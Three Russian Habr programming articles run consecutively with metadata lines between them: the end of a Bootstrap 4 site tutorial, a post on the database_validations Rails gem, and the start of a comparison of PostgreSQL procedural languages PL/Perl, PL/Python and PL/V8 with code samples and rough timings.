.team{
margin: 4em 0;
position: relative;
}
.team h1{
color:#F97300;
margin: 2em;
}
.team .item{
position: relative;
}
.team .des{
background: #F97300;
color: #fff;
text-align: center;
border-bottom-left-radius: 93%;
transition:.3s ease-in-out;
}
```
Украсим этот раздел анимацией, появляющейся при наведении указателя мыши на изображения. Это должно выглядеть так, как показано на рисунке ниже.
*Анимация при наведении указателя мыши на изображение*
Для того чтобы достичь такого эффекта, добавим в `main.css` следующие стили:
```
.team .item:hover .des{
height: 100%;
background:#f973007d;
position: absolute;
width: 89%;
padding: 5em;
top: 0;
border-bottom-left-radius: 0;
}
```
Форма обратной связи
--------------------
В данном разделе страницы будет находиться форма, с помощью которой посетители сайта могут отправлять владельцу сайта сообщения. Тут, как обычно, для того, чтобы стилизовать элементы и обеспечить их отзывчивость, мы воспользуемся возможностями Bootstrap.
*Форма обратной связи*
Как и в Bootstrap 3, в Bootstrap 4 используется класс `.form-control` для полей ввода, но теперь тут имеется кое-что новое. Например — вместо устаревшего класса `.input-group-addon` используется новый класс `.input-group-prepend` (для значков и меток). Подробности об этом можно найти в [документации](https://getbootstrap.com/docs/4.0/migration/#input-groups) к Bootstrap 4. В нашем случае каждое поле ввода будет помещено в элемент , которому назначен класс `.form-group`.
Добавим в файл `index.html` следующее:
```
Get in Touch
============
```
Вот стили для раздела с формой обратной связи, которые надо поместить в файл `main.css`:
```
.contact-form{
margin: 6em 0;
position: relative;
}
.contact-form h1{
padding:2em 1px;
color: #F97300;
}
.contact-form .right{
max-width: 600px;
}
.contact-form .right .btn-secondary{
background: #F97300;
color: #fff;
border:0;
}
.contact-form .right .form-control::placeholder{
color: #888;
font-size: 16px;
}
```
Шрифты
------
Стандартные шрифты подходят далеко не всем. Мы, воспользовавшись возможностями Google Font API, применим в нашем проекте шрифт Raleway. Он будет смотреться здесь очень хорошо. Для импорта шрифта добавим в файл `main.css` следующую директиву:
```
@import url('https://fonts.googleapis.com/css?family=Raleway');
```
Затем зададим глобальные стили для различных HTML-тегов:
```
html,h1,h2,h3,h4,h5,h6,a{
font-family: "Raleway";
}
```
Эффекты прокрутки
-----------------
На рисунке ниже показано поведение страницы, которого мы хотим добиться.
*Прокрутка страницы при нажатии на ссылки в навигационной панели*
Для того, чтобы страница, при щелчках по ссылкам навигационной панели, плавно прокручивалась к нужному разделу, нам понадобится прибегнуть к возможностям jQuery. Если вы не очень хорошо знакомы с этой библиотекой, знайте, что ничего сложного тут нет — просто добавьте нижеприведённый код в файл `main.js`:
```
$(".navbar a").click(function(){
$("body,html").animate({
scrollTop:$("#" + $(this).data('value')).offset().top
},1000)
})
```
После этого добавьте атрибут `data-value` к каждой из ссылок в навигационной панели и приведите разметку к следующему виду:
```
- [About](#)
- [Portfolio](#)
- [Blog](#)
- [Team](#)
- [Contact](#)
```
Для того чтобы всё это, наконец, заработало, осталось лишь добавить атрибут `id` к основному элементу каждого из разделов страницы. При этом нужно проследить, чтобы его значение было идентично тому, которое задано в атрибуте `data-value` соответствующей ссылки. Например, вот соответствующий атрибут для раздела About:
На этом наш пример завершён. [Вот](https://github.com/hayanisaid/bootstrap4-website) код этого проекта на GitHub.
Итоги
-----
Bootstrap 4 — это отличный инструмент для создания интерфейсов веб-приложений. Он даёт разработчику высококачественные компоненты, которые легко настраиваются и отлично сочетаются друг с другом. Кроме того, Bootstrap позволяет создавать отзывчивые макеты, которые хорошо выглядят на устройствах с различными экранами.
**Уважаемые читатели!** Если сегодня состоялось ваше первое практическое знакомство с Bootstrap, скажите, планируете ли вы использовать этот фреймворк в своих проектах?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/350758/ | null | ru | null |
# Как прокачать belongs_to чтобы работал в два раза быстрее (database_validations gem)
В данной статье, я покажу почему нужно использовать `db_belongs_to` из [database\_validations](https://github.com/toptal/database_validations) гема вместо привычного нам `belongs_to`.
Я уверен, что большинство из вас знакомо с `belongs_to` из ORM **ActiveRecord**. Но знаете ли вы, что инициализация связи с помощью `belongs_to` в вашей модели также добавляет валидацию на существование связи. Это происходит потому, что `belongs_to` имеет опцию `optional: false` по умолчанию.
Таким образом, каждый раз когда вы сохраняете новый объект или обновляете существующий, вы выполняете дополнительный SQL SELECT запрос на каждую из ваших связей.
**Пример**
```
class User < ActiveRecord::Base
belongs_to :company
belongs_to :country
end
user = User.first
user.update(some_field: 'something')
# В первую очередь сделает два дополнительных запроса SELECT, чтобы узнать, что связи `company` и `country` существуют
```
Вам также следует знать, что данный подход не гарантирует целостность базы данных, т.к. связи могут быть в дальнейшем удалены (в последующих или параллельных запросах) без каких-либо проблем.
```
user.update(...)
user.company.destroy!
=> команда будет выполнена без ошибок, таким образом, в базе данных будет храниться пользователь без связи с компанией, что нарушает целостность нашей базы данных (если изначально не было задумано обратное)
```
Чтобы решить данную проблему, вы можете добавить соответствующее ограничение внешнего ключа (foreign key constraint) в вашу базу данных. Имея данное ограничение, вы всегда будете уверены, что данная связь существует.
Что насчет производительности? Зачем нам делать SELECT запросы к базе данных, если мы уже уверены, что целостность данных будет соблюдена (с использованием ограничения внешнего ключа)?
Ответ прост — не нужно. Но, чтобы это стало возможным, нам нужно решить проблему обработки исключения `ActiveRecord::InvalidForeignKey`, которое мы получаем, когда пытаемся сохранить отсутствующую в базе данных связь. Это необходимо, чтобы иметь такое же поведение, как с `belongs_to`, чтобы `errors` включал такие же ошибки.
Чтобы не писать всю обработку самостоятельно, вам пригодится [database\_validations гем](https://github.com/toptal/database_validations). Данный гем уже включал в себя `validates_db_uniqueness_of`, который понравился людям ([пост на хабре](https://habr.com/post/431298/)) и теперь имеет `db_belongs_to`, который очень легко внедрить в ваш проект. `db_belongs_to` улучшает производительность и гарантирует целостность данных.
Метод делает несколько вещей за вас:
* Проверяет существование правильного ограничения внешнего ключа в базе данных во время запуска приложения;
* Парсит исключения базы данных и предоставляет соответствующие ошибки для `errors` вашего объекта;
* Исключает необходимость исполнения лишних SQL запросов к базе данных;
Я рекомендую вам использовать [database\_validations](https://github.com/toptal/database_validations) в ваших проектах. Данный гем уже протестирован в production окружении и показал себя очень хорошо. Несмотря на его простоту реализации, он может сильно улучшить производительность вашего проекта, т.к. *чем больше вы используете его, тем больше сохраняете*, ознакомьтесь с [групповыми бенчмарками](https://github.com/toptal/database_validations#composed-benchmarks) для деталей.
*Любые отзывы приветствуются! Признательны за любой вклад в проект!* | https://habr.com/ru/post/431734/ | null | ru | null |
# PostgreSQL: Серверное программирование на «человеческом» языке (PL/Perl, PL/Python, PL/v8)
Postgres знаменит своей расширяемостью, что относится и к поддержке процедурных языков (PL). Никто не может похвастаться ~~языком~~ списком языков такой длины, а потенциально этот список и вовсе не ограничен: для того, чтобы подключить язык к серверу, не требуется сверхусилий. Можно даже придумать собственный язык и сделать его серверным процедурным языком. Переделок в СУБД это не потребует. Как и многое другое, такая расширяемость была заложена с самого начала в архитектуру Postgres.
Можно и иногда нужно писать PL-языки под задачи. А еще лучше, если кто-то напишет такой фреймворк для написания языков, чтобы можно было писать не на C, а выбрать более комфортный для разработчика языков язык. Как с FDW, которые [можно писать на Python](https://multicorn.org/).
Эта статья написана на основе ряда докладов и мастер-классов по этой теме, делавшихся автором на конференциях [PgConf.Russia 2019](https://pgconf.ru/2019/237648), [PgConf.Russia 2018](https://pgconf.ru/2018/107044) и [DevConf 2017](https://devconf.ru/ru/archive/devconf2017/offer/287).
Речь пойдет не об экзотике, а о самых распространённых процедурных языках PL/Perl, PL/Python и PL/V8 (то есть JavaScript) и сравнении их возможностей с PL/pgSQL.
Когда такие языки стоит применять? Когда не хватает SQL и PL/pgSQL?
* Тогда, когда нужно работать со сложными структурами, с алгоритмами: обходом деревьев, например, или когда требуется парсинг HTML или XML, тем более их извлечение из архивов;
* Когда нужно динамически формировать сложные SQL (отчеты, ORM). На PL/pgSQL не только неудобно, но и будет в некоторых случаях медленнее работать;
* Если у вас уже много написанных полезных библиотек на Perl или Python, а также если надо использовать библиотеки на C/C++, к которым есть обёртка на Perl или Python или её легко написать. Через хранимые процедуры удобно получать доступ к этим библиотекам. Допустим, вы мигрируете с Oracle. Там есть функция отправки письма, а в самом Postgres такой функции нет. Но в библиотеках Perl и Python их сотни.
* Еще одна причина — работа с внешними данными. Но это относится, конечно, только к untrusted-языкам (что это — см. ниже), то есть к Perlu и Python(3)u, а не к PL/V8. В обычном Postgres для того, чтобы обратиться к внешним данным, обычно используют FDW, но это специфический интерфейс, он не всегда удобен и не для всего годится. В процедурных языках руки у вас развязаны. Полная свобода!
* И еще: если вы собрались написать нечто на C, то можно сделать прототип на этих, более приспособленных к быстрой разработке, языках.
### Как встроить язык в Postgres
Для реализации языка надо: написать на C от одной до трёх функций:
* HANDLER — обработчик вызова, который будет исполнять функцию на языке (это обязательная часть);
* INLINE — обработчик анонимных блоков (если вы хотите, чтобы язык поддерживал анонимные блоки);
* VALIDATOR — функцию проверки кода при создании функции (если вы хотите, чтобы такая проверка делалась).
Об этом подробно написано в документации [здесь](https://postgrespro.ru/docs/postgresql/12/plhandler) и [здесь](https://postgrespro.ru/docs/postgresql/12/sql-createlanguage).
### «Языки из коробки» и другие языки
Языков, которые поддерживаются «из коробки», всего четыре: [PL/pgSQL](https://postgrespro.ru/docs/postgresql/12/plpgsql), [PL/Perl](https://postgrespro.ru/docs/postgresql/12/plperl), [PL/Python](https://postgrespro.ru/docs/postgresql/12/plpython) и [PL/Tcl](https://postgrespro.ru/docs/postgresql/12/pltcl), но тикль это скорее дань истории: им сейчас мало кто пользуется, больше говорить о нём не будем.
PL/Perl, PL/Python и, конечно, PL/pgSQL поддерживаются Postgres-сообществом. Поддержка других, внекоробочных, языков ложится на их *мейнтейнеров* — компании, сообщества, или конкретных разработчиков, заинтересованных в том, чтобы язык работал внутри СУБД. [PL/V8](https://github.com/plv8/plv8) продвигает Google. Но время от времени [возникают основания](https://github.com/plv8/plv8/issues/364) сомневаться в безоблачном будущем PL/V8. Нынешний мейнтейнер проекта PL/V8 от Google, Джерри Сиверт (Jerry Sievert) подумывает о том, чтобы поддержка серверного JS в Postgres базировалась на другом движке (например, QuickJS), так как PL/V8 сложно собирать, он требует выкачать 3-5 ГБ всякой всячины на Linux при сборке, и это часто приводит к проблемам на разных ОС. Но PL/V8 широко используется и насквозь оттестирован. Не исключено, что появится PL/JS как альтернатива с другим движком JS, или пока просто как название, к которому будем привыкать в переходный период.
[PL/Java](https://tada.github.io/pljava/) используется достаточно редко. У меня лично не возникало потребности писать на PL/Java потому, что в PL/Perl и в PL/V8 достаточно функциональности практически для всех задач. Даже Python особенно не прибавляет возможностей. [PL/R](https://github.com/postgres-plr/plr) полезен для тех, кто занимается статистикой и любит этот язык. О нем мы здесь говорить тоже не будем.
Популярные языки не обязательно популярны у пишущих хранимки: PL/PHP есть, но сейчас практически никем не поддерживается — писать на нём серверные процедуры желающих мало. С языком PL/Ruby почему-то та же картина, хотя язык, казалось бы, более современный.
Процедурный язык на базе Go развивается, см. [PL/Go](https://gitlab.com/microo8/plgo), а также, похоже [PL/Lua](https://github.com/pllua/pllua-ng). Надо будет поизучать их. Для упоротых фанатов шелла есть даже [PL/Sh](https://github.com/petere/plsh), трудно даже представить, для чего он может понадобиться.
Есть как минимум один доменно-специфический процедурный язык (DSL), узко специализированный под свою задачу — [PL/Proxy](https://wiki.postgresql.org/wiki/PL/Proxy), который раньше был очень популярен для проксирования и распределения нагрузки на серверы.
В этой статье мы рассмотрим основные, наиболее часто используемые языки. Это, конечно, PL/PgSQL, PL/Perl, PL/Python и PL/V8, ниже будем называть их **PL/\***.
Языки «из коробки» действительно почти буквально устанавливаются из коробки — обычно инсталляция проходит безболезненно. А вот установить PL/V8, если Вы не нашли в репозитории своей ОС пакета с нужной версией, это почти подвиг, потому что для этого придется фактически собрать весь V8, или, другими словами, Chromium. При этом с сайта google.com вместе с самим V8 будет выкачана вся инфраструктура разработки — рассчитывайте на пару гигабайт трафика. Для Postgres 11 под Ubuntu пакет PL/V8 до сих пор ещё не появился, в репозитории пока доступна только V8 для PG 10. Если хотите, собирайте руками. Важно ещё то, что версия, которую Вы найдете в репозитории, скорее всего довольно-таки старая. На момент публикации статьи последней версией является 2.3.14.
После того, как сам язык установлен, надо еще и «создать» язык — зарегистрировать его в системном каталоге. Это следует делать командой
```
CREATE EXTENSION plperl;
```
(вместо plperl можно подставить название другого языка, есть определенные нюансы, см. ниже).
Смотрим, что получилось:
```
test_langs=# \x
test_langs=# \dL+
List of languages
-[ RECORD 1 ]-----+---------------------------------
Name | plperl
Owner | postgres
Trusted | t
Internal language | f
Call handler | plperl_call_handler()
Validator | plperl_validator(oid)
Inline handler | plperl_inline_handler(internal)
Access privileges |
Description | PL/Perl procedural language
-[ RECORD 2 ]-----+---------------------------------
Name | plpgsql
Owner | postgres
Trusted | t
Internal language | f
Call handler | plpgsql_call_handler()
Validator | plpgsql_validator(oid)
Inline handler | plpgsql_inline_handler(internal)
Access privileges |
Description | PL/pgSQL procedural language
[ RECORD 3 ]-----+---------------------------------
Name | plv8
Owner | postgres
Trusted | t
Internal language | f
Call handler | plv8_call_handler()
Validator | plv8_call_validator(oid)
Inline handler | plv8_inline_handler(internal)
Access privileges |
Description |
```
PL/pgSQL специально создавать не надо, он всегда уже имеется в базе.
**Внимание!** PL/pgSQL не надо путать с SQL. Это другой язык. Впрочем, на обычном SQL в Postgres тоже можно писать функции.
### Стандарты
В мире СУБД часто говорят о соответствии стандартам SQL. В процедурных языках тоже есть стандарты, хотя говорят о них не так уж часто. Стандарту [SQL/PSM](https://en.wikipedia.org/wiki/SQL/PSM) в высокой степени соответствует процедурный язык DB2. Реализация его далека от PL/pgSQL, хотя концептуально они близки.
[SQL/JRT](https://en.wikipedia.org/wiki/SQL/JRT) – стандарт для Java-процедур, и PL/Java ему неплохо соответствует.
### Доверенные и недоверенные языки
Процедурные языки в Postgres бывают доверенными (TRUSTED) и недоверенными (UNTRUSTED).
В TRUSTED-языках отсутствует возможность прямой работы с I/O, в том числе с сетью, да и вообще с системными ресурсами. Поэтому такие функции может создавать любой пользователь БД, испортить что-либо и узнать лишнее он не сможет. Функции на UNTRUSTED-языках может создать только суперюзер.
Если интерпретатор языка поддерживает такие ограничения, то на его базе можно создать и TRUSTED, и UNTRUSTED язык. Так с Perl, поэтому существуют разные языки `plperl` и `plperlu`. Буква *u* на конце выдает недоверенный характер языка. Python существует только в недоверенном варианте. PL/v8 — наоборот, только в доверенном. Как следствие, PL/v8 не может подгружать никаких модулей или библиотек с диска, только из БД.
Функция на UNTRUSTED-языке может всё: послать письмо, пингануть сайт, зайти в чужую базу, выполнить HTTP-запрос. TRUSTED-языки ограничены обработкой данных из базы.
К TRUSTED относятся: `plpgsql, plperl, plv8, pljava`.
К UNTRUSTED относятся: `plperlu, pljavau, plpython2u, plpython3u`.
Обратите внимание: не существует PL/Python как TRUSTED (так как там нельзя задать ограничения на доступ к ресурсам), а PLpgSQL и PL/V8 — наоборот: не бывают UNTRUSTED.
А вот Perl и Java доступны в обоих вариантах.
### PL/pgSQL vs PL/\*
Код на PL/pgSQL нативным образом работает со всеми типами данных, которые есть в Postgres. В других языках многих типов Postgres нет, и интерпретатор языка заботится о преобразовании данных во внутреннее представление языка, заменяя непонятные типы текстом. Впрочем, ему можно помочь с помощью TRANSFORM, о котором я расскажу ближе к концу статьи.
Вызов функций в PL/pgSQL часто обходится дороже. Функции на других языках могут обращаться к своим библиотекам, не заглядывая в системный каталог. PL/pgSQL так работать не может. Некоторые запросы в PL/pgSQL работают долго именно из-за того, что поддерживается очень много типов: чтобы сложить два целых числа, интерпретатору надо сообразить, что он имеет дело с целыми числами, а не с еще какими-то экзотическими типами, потом решить, как их складывать, и только после этого собственно сложить.
Поскольку PL/pgSQL TRUSTED, из него нельзя работать с сетью и дисками.
Если речь идет о работе с вложенными структурами данных, в распоряжении PL/pgSQL есть только инструменты Postgres для работы с JSON, весьма громоздкие и непроизводительные, в других же языках работа с вложенными структурами гораздо проще и экономичнее.
В PL/\* свое управление памятью, и за памятью надо следить, а может быть и ограничивать ее.
Надо внимательно следить за обработкой ошибок, которая у всех тоже разная.
Зато в PL/\* существует глобальный контекст интерпретатора, и его можно использовать, например, для кеширования данных, в том числе планов запросов. Если язык UNTRUSTED, то доступны сеть и диск(и). С базой все эти языки работают, как правило, через SPI, но об этом чуть позже.
Рассмотрим немного подробнее особенности языков PL/\*.
### PL/Perl
Интерпретатор Perl – это здоровенный кусок кода в памяти, но он, к счастью, создается не при открытии соединения, а только тогда, когда запускается первая хранимая процедура/функция PL/Perl. При его инициализации выполняется код, прописанный в параметрах конфигурации Postgres. Обычно при этом подгружаются модули и делаются предвычисления.
`plperl.on_init= 'use Data::Dumper;'
plperl.on_plperl_init= ' ... '
plperl.on_plperlu_init= ' ... '
plperl.use_strict= on`
Если вы дописали в конфигурационный файл при работающей базе, заставьте Postgres перечитать конфигурацию. В этой статье в примерах используется модуль `Data::Dumper` для визуализации структур данных.
Есть параметры для раздельной инициализации TRUSTED и UNTRUSTED Perl и, конечно, параметр `use_strict=on`. Те, кто программируют на Perl, знают, что без `strict` это не язык, а одно недоразумение.
### PL/Python
В нём интерпретатор точно так же создается при первом обращении. И тут важно сразу определиться, какой питон вы хотите: второй или третий. Как известно, Python существует в двух популярных версиях (Python 2 и Python 3), но проблема в том, что их so-шки не уживаются вместе в одном процессе: возникает конфликт по именам. Если вы в одной сессии работали с v2, а потом позвали v3, то Postgres упадет, и для серверного процесса (backend) это будет фатальной ошибкой. Чтобы обратиться к другой версии, надо открыть другую сессию.
В отличие от Perl, питону нельзя указать, что делать при инициализации. Еще неудобство: однострочники делать неудобно.
Во всех питоновских функциях определено два словаря – статический `SD` и глобальный `GD`. Глобальный [позволяет](https://postgrespro.ru/docs/postgresql/12/plpython-using.html) обмениваться данными всем функциям внутри одного бэкенда — что привлекательно и опасно одновременно. Статический словарь у каждой функции свой.
В PL/Python можно делать подтранзакции, о которых мы расскажем ниже.
### PL/V8
Он бывает только TRUSTED.
Удобно, что данные JSON автоматически преобразуются в структуру JS. В PL/V8, как и в PL/Python, можно делать подтранзакции. Есть интерфейс для упрощенного вызова функций. Это единственный из рассматриваемых процедурных языков, на котором [можно определять оконные функции](https://github.com/plv8/plv8u/blob/master/doc/plv8.md#window-function-api). Подсказывают, что их [можно определять ещё на PL/R](https://github.com/postgres-plr/plr/blob/master/userguide.md#window-functions), но этот язык вне рамок данной статьи.
И только в PL/V8 есть execution timeout. Правда, по умолчанию он не включен, и если вы собираете PL/V8 руками, то надо при сборке сказать, чтобы он был включен, и тогда вы сможете параметром конфигурации устанавливать таймауты на вызовы функций.
Инициализация у PL/V8 выглядит интересно: поскольку он trusted, то не может прочитать библиотеку с диска, он вообще не может ниоткуда ничего грузить. Все нужное он может взять только из базы. Поэтому определяют хранимую функцию-инициализатор, которая вызывается при старте интерпретатора языка. Имя функции указывается в специальном параметре конфигурации:
```
plv8.start_proc=my_init # (имя PL/V8-функции)
```
При инициализации глобальные переменные и функции можно создавать, присваивая их значения атрибутам переменной this. Например, так:
```
CREATE OR REPLACE FUNCTION my_init()
RETURNS void LANGUAGE plv8 AS $$
this.get_57 = function() { return 57; }; // создаем глобальную функцию
this.pi_square = 9.8696044; // создаем глобальную переменную
$$;
SET plv8.start_proc = 'my_init';
DO LANGUAGE plv8 $$
plv8.elog(NOTICE, pi_square, get_57() );
$$;
```
Сравнение PL/Perl vs PL/Python vs PL/V8 на практике
---------------------------------------------------
### Hello World!
Выполним нехитрое упражнение с выводом этой фразы на всех трех языках, сначала на **PL/Perl**. И пусть он делает еще что-нибудь полезное, например сообщает свою версию:
```
DO $$
elog(NOTICE,"Hello World! $]");
$$ LANGUAGE plperl;
```
```
NOTICE: Hello World!
DO
```
Можно также использовать обычные для Perl функции `warn` и `die`.
Теперь на **PL/Python**. Точнее на PL/Python3u (untrusted) — для определенности.
```
DO $$
import sys
plpy.notice('Hello World! ' , hint="Будь здоров", detail=sys.version_info)
$$ LANGUAGE plpython3u;
```
```
NOTICE: Hello World!
DETAIL: sys.version_info(major=3, minor=6, micro=9, releaselevel='final', serial=0)
HINT: Будь здоров
DO
```
Можно использовать `throw 'Errmsg'`. Из сообщений Postgres вообще можно много чего извлечь: они содержат Hint, Details, номер строки и много других параметров. В PL/Python их можно передать, а в других рассматриваемых языках — нет: их средствами можно выругаться только обычной текстовой строчкой.
В PL/Python на каждый уровень логирования постгреса есть своя функция: NOTICE, WARNING, DEBUG, LOG, INFO, FATAL. Если это ERROR, то свалилась транзакция, если FATAL, свалился весь бэкенд. До PANIC дело, к счастью, не дошло. Почитать можно [здесь](https://postgrespro.ru/docs/postgresql/11/runtime-config-logging).
**PL/V8**
В этом языке Hello world очень похож на перловый. Можно бросить `exception` с помощью `throw`, и это тоже будет обработкой ошибки, хотя средства и не столь развитые, как в Python. Если написать `plv8.elog(ERROR)`, эффект будет, кстати, тот же.
```
DO $$
plv8.elog(NOTICE, 'Hello World!', plv8.version);
$$ LANGUAGE plv8;
```
```
NOTICE: Hello World! 2.3.14
DO
```
### Работа с базой
Посмотрим теперь, как из хранимых процедур работать с базой данных. В Postgres есть SPI (Server Programming Interface). Это набор функций на C, который доступен всем авторам расширений. Почти все PL-языки предоставляют к SPI свои обертки, но каждый язык делает это немного по-своему.
Функция, написанная на C, но использующая SPI, скорее всего не даст существенного выигрыша по сравнению с PL/PgSQL и другими процедурными языками. Но функция на C, минующая SPI и работающая с данными без посредников (например `table_beginscan/heap_getnext`), будет работать на порядок быстрее.
PL/Java тоже использует SPI. Но работа с базой все равно происходит в стиле JDBC и по стандарту JDBC. Для создателя кода в PL/Java всё происходит как будто вы работаете из клиентского приложения, но JNI (Java Native Interface) транслирует обращения к базе в те же SPI-функции. Это удобно, и нет принципиальных препятствий воплотить этот принцип в PL/Perl и PL/Python, но это почему-то не сделано, и в планах пока не видно.
Конечно, при желании к чужим базам можно сходить обычным способом – через DBI или [Psycopg](https://wiki.postgresql.org/wiki/Psycopg). Можно и к локальной базе, но зачем.
Если не влезать в холиварную тему «обрабатывать в базе vs обрабатывать на клиенте», и сразу исходить из максимума обработки ближе к данным (хотя бы для того, чтобы не гонять гигантские выборки по сети), то решение использовать функции, сохраненные на сервере, выглядит естественно.
**Производительность**: надо помнить, что SPI имеет некоторые издержки, и работа SQL-запросов в функциях может оказаться медленнее, чем без функций. В 13-й постгрес вошел [патч Константина Книжника](https://commitfest.postgresql.org/25/2282/), который сокращает эти издержки. Но, конечно, обработка результатов запроса в хранимой функции не требует передачи результата на клиент, и поэтому может оказаться выгодной с точки зрения производительности.
**Безопасность**: набор отлаженных и проверенных функций изолирует от пользователя структуру базы данных, охраняет от SQL-инъекций и прочих злодейств. Иначе это останется головной болью каждого разработчика приложения.
**Повторное использование** кода: если с базой работает большое число замысловатых приложений, то удобно хранить полезные функции на сервере, а не писать их в каждом приложении заново.
### Как и в каком виде мы получаем данные из базы
В **Perl** всё просто и понятно. Вызов `spi_exec_query` возвращает количество обработанных строк, статус и массив строк, которые выбраны SQL-запросом:
```
DO $$
warn Data::Dumper::Dumper(
spi_exec_query('SELECT 57 AS x')
)
$$ LANGUAGE plperl;
```
```
WARNING: $VAR1 = {
'rows' => [
{
'x' => '57'
}
],
'processed' => 1,
'status' => 'SPI_OK_SELECT'
};
```
В **Python** запрос и результат выглядят примерно так же, но здесь функция возвращает не структуру данных, а специальный объект, с которым можно работать по-разному. Обычно он притворяется массивом и, соответственно, из него можно извлекать строки.
```
DO $$
plpy.notice(
plpy.execute('SELECT 57 AS x')
)
$$ LANGUAGE plpython3u;
```
```
NOTICE:
DO
```
А сейчас возьмем 1-ю строчку, достанем оттуда X и получим значение – число.
```
DO $$
plpy.notice(
plpy.execute('SELECT 57 AS x')[0]['x']
)
$$ LANGUAGE plpython3u;
```
```
NOTICE: 57
DO
```
В **PL/V8**:
```
DO $$
plv8.elog(NOTICE, JSON.stringify(
plv8.execute('SELECT 57 as x'))
);
$$ LANGUAGE plv8;
```
```
NOTICE: [{"x":57}]
DO
```
Для того, чтобы посмотреть структуру, мы использовали библиотечную функцию JSON.stringify, которую не надо подгружать специально, она уже готова к употреблению в составе PL/v8 по умолчанию.
### Экранирование
Чтобы не было злокозненных SQL-инъекций, некоторые символы в запросах надо экранировать. Для этого, во-первых, есть функции SPI и соответствующие им функции (написанные на C) в языках, работающие, как обертки SPI. Например, в PL/Perl:
`quote_literal` – берет в апострофы и удваивает ' и \. Предназначена для экранирования текстовых данных.
`quote_nullable` – то же, но `undef` преобразуется в NULL.
`quote_ident` – берет в кавычки имя таблицы или поля, если надо. Полезно в случае, когда вы конструируете SQL-запрос и подставляете в него имена объектов базы.
**PL/Perl**
```
DO $$
warn "macy's";
warn quote_literal("macy's");
$$ LANGUAGE plperl;
```
```
WARNING: macy's at line 2.
WARNING: 'macy''s' at line 3.
DO
```
Имейте в виду: название таблицы надо экранировать не так, как текстовую строчку. Именно поэтому есть функция `quote_ident`.
Но в PL/Perl есть и другие функции для экранирования данных отдельных постгресовых типов:
`encode_bytea
decode_bytea
encode_array_literal
encode_typed_literal
encode_array_constructor`
Функция `quote_typed_literal` должна принимать любой тип и превращать нетипичные сомнительные символы во что-то заведомо безопасное. Она работает с огромным числом типов, но, всё же, не со всеми. Она, например, не поймет [диапазонные типы](https://postgrespro.ru/docs/postgresql/12/rangetypes) и воспримет их просто как текстовые строки.
```
DO $$
warn encode_typed_literal(
["один", "двадцать один"], "text[]"
);
$$ LANGUAGE plperl;
```
```
WARNING: {один,"двадцать один"} at line 2.
DO
```
В **PL/Python** есть три аналогичных функции, и работают они примерно так же:
`plpy.quote_literal
plpy.quote_nullable
plpy.quote_ident`
```
DO $$ plpy.notice(
plpy.quote_literal("Macy's"));
$$ LANGUAGE plpython3u;
```
```
NOTICE: 'Macy''s'
DO
```
Если ли такие же фукнции и в **PL/V8**?
Конечно! Всё одинаково с точностью до синтаксических особенностей.
`plv8.quote_literal
plv8.quote_nullable
plv8.quote_ident`
```
DO $$
plv8.elog(NOTICE, plv8.quote_nullable("Macy's"));
$$ LANGUAGE plv8;
```
```
NOTICE: 'Macy''s'
```
### Производительность
Какой язык самый быстрый? Обычно отвечают: C. Но правильный ответ — C *или* SQL. Почему SQL? Дело в том, что функция на этом языке не всегда выполняется явно. Она может заинлайниться в запрос (планировщик встроит функцию в тело основного запроса), уже вместе с запросом хорошо соптимизироваться, в результате получится быстрее. Но при каких условиях код может встраиваться в запрос? Есть несколько простых условий, о которых можно прочитать, скажем,[здесь](https://habr.com/ru/company/postgrespro/blog/277335/). Например, функция не должна исполнятся с правами владельца (быть SECURITY DEFINER). Большинство простых функций подойдут под эти условия.
В этой статье мерить будем «на коленке», не всерьёз. Нам нужно приблизительное сравнение. Сначала включим тайминг:
```
\timing
```
Попробуем **SQL** (Времена выполнения команд, которые приводятся ниже — это округленные средние значения, которые автор получал на незагруженном шестилетнем ПК. Их можно сравнивать между собой, но на научную точность они не претендуют):
```
SELECT count(*) FROM pg_class;
0.5 ms
```
Работает очень быстро. В других языках тратится время на вызов функций из языка. Разумеется, первый раз запрос будет выполняться медленнее из-за инициализации интерпретатора. Потом стабилизируется.
Попробуем **PL/pgSQL**:
```
DO $$
DECLARE a int;
BEGIN
SELECT count(*) INTO a FROM pg_class;
END;
$$ LANGUAGE plpgsql;
0.7 ms
```
**PL/Perl**:
```
DO $$
my $x = spi_exec_query('SELECT count(*) FROM pg_class');
$$ LANGUAGE plperl;
0.7 ms
```
**PL/Python:**
```
DO $$
x = plpy.execute('SELECT count(*) FROM pg_class');
$$ LANGUAGE plpythonu;
0.8 ms
```
Это был Python 2. Теперь **Python 3** (напоминаю: Python2 и Python3 не живут мирно в пределах одной сессии, возможен конфликт по именам):
```
DO $$
x = plpy.execute('SELECT count(*) FROM pg_class');
$$ LANGUAGE plpython3u;
0.9ms
```
И, наконец, **PL/V8**:
```
DO $$
var x = plv8.execute('SELECT count(*) FROM pg_class');
$$ LANGUAGE plv8 ;
0.9 ms
```
Но это как-то очень быстро. Попробуем выполнить запрос 1000 раз или 1 миллион раз, вдруг разница будет заметней:
**PL/pgSQL**:
```
DO $$
DECLARE a int; i int;
BEGIN FOR i IN 0..999999 LOOP
SELECT count(*) INTO a FROM pg_class;
END LOOP;
END;
$$ LANGUAGE plpgsql;
53s
```
**PL/Perl**:
```
DO $$
for (0..999999) {
spi_exec_query('SELECT count(*) FROM pg_class');
}
$$ LANGUAGE plperl;
102s
```
**PL/Python 3**:
```
DO $$
for i in range (0,1000000) :
plpy.execute('SELECT count(*) FROM pg_class')
$$ LANGUAGE plpython3u;
98s
```
**PL/V8**:
```
DO $$
for(var i=0;i<1000;i++)
plv8.execute('SELECT count(*) FROM pg_class');
$$ LANGUAGE plv8;
100ms
```
Обратите внимание, что с PL/V8 эксперимент проведен с тысячей, а не миллионом итераций. При умеренных ресурсах PL/V8 в цикле из 1млн операций съест всю память и вовсе повесит машину. Уже на тысяче итераций процесс postgres отбирает 3.5ГБ памяти и 100% записи на диск. На самом деле postgres запускает среду V8, и память ест, конечно, она. После исполнения запроса отдавать память назад этот турбо-монстр не собирается. Чтобы высвободить память, приходится закончить сессию.
Видим, что PL/pgSQL уже раза в 2 быстрее PL/Perl и PL/Python. PL/V8 пока чуть отстает от них, но ближе к концу статьи он частично реабилитируется.
Вообще, Perl с Python'ом в этих экспериментах показывают примерно одинаковые результаты. Раньше Perl немного уступал Python'у, в современных версиях он чуточку быстрее. Третий питон чуть медленнее второго. Вся разница в пределах 15%.
### Производительность с PREPARE
